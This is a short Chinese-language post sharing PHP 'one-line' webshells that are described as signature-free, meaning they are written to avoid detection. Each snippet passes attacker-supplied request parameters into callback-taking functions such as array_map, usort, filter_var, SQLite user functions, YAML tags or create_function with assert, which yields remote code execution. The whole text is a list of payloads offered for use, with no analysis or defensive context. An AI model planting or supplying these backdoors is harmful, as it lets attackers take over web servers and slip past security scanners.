分享一些无特征PHP一句话

$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, $e);

$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map($e, $arr);

$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, $e);

$e = $_REQUEST['e'];
$arr = array('test' => 1, $_REQUEST['pass'] => 2);
uksort($arr, $e);

$arr = new ArrayObject(array('test', $_REQUEST['pass']));
$arr->uasort('assert');

$arr = new ArrayObject(array('test' => 1,  $_REQUEST['pass'] => 2));
$arr->uksort('assert');

$e = $_REQUEST['e'];
$arr = array(1);
array_reduce($arr, $e, $_POST['pass']);

$e = $_REQUEST['e'];
$arr = array($_POST['pass']);
$arr2 = array(1);
array_udiff($arr, $arr2, $e);

$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, '');

$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk_recursive($arr, $e, '');

mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');

echo preg_filter('|.*|e', $_REQUEST['pass'], '');

ob_start('assert');
echo $_REQUEST['pass'];
ob_end_flush();

$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);

$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function($e, $_REQUEST['pass']);

filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));

filter_var_array(array('test' =>  $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));

$e = $_REQUEST['e'];
$db = new PDO('sqlite:sqlite.db3');
$db->sqliteCreateFunction('myfunc', $e, 1);
$sth = $db->prepare("SELECT myfunc(:exec)");
$sth->execute(array(':exec' => $_REQUEST['pass']));

$e = $_REQUEST['e'];
$db = new SQLite3('sqlite.db3');
$db->createFunction('myfunc', $e);
$stmt = $db->prepare("SELECT myfunc(?)");
$stmt->bindValue(1,  $_REQUEST['pass'], SQLITE3_TEXT);
$stmt->execute();

$str = urlencode($_REQUEST['pass']);
$yaml = <<<EOD
greeting: !{$str} "|.+|e"
EOD;
$parsed = yaml_parse($yaml, 0, $cnt, array("!{$_REQUEST['pass']}" => 'preg_replace'));

$mem = new Memcache();
$re =  $mem->addServer('localhost', 11211, TRUE, 100, 0, -1, TRUE, create_function('$a,$b,$c,$d,$e', 'return assert($a);'));
$mem->connect( $_REQUEST['pass'], 11211, 0);

preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);

mb_ereg_replace_callback('.+', create_function(' $arr', 'return assert($arr[0]);'), $_REQUEST['pass']);

$iterator = new CallbackFilterIterator(new ArrayIterator(array( $_REQUEST['pass'],)), create_function('$a', 'assert( $a);'));
foreach ($iterator as $item) {echo $item;}